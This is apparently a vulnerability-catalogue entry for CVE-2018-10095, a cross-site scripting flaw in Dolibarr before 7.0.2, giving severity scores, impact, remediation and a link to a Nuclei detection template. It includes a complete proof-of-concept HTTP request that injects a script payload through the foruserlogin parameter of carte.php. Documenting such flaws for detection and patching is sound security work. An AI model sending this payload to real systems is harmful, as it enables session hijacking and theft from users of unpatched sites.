| Title | Dolibarr <7.0.2 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to Dolibarr version 7.0.2 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.53955 |
| CVE ID | CVE-2018-10095 |
| CWE ID | CWE-79 |
| Tags | cve2018 cve xss dolibarr vuln |
Dolibarr before 7.0.2 is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php.
GET /dolibarr/adherents/cartes/carte.php?mode=cardlogin&foruserlogin=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&model=5160&optioncss=print HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10095.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-10095.pcap
N/AN/A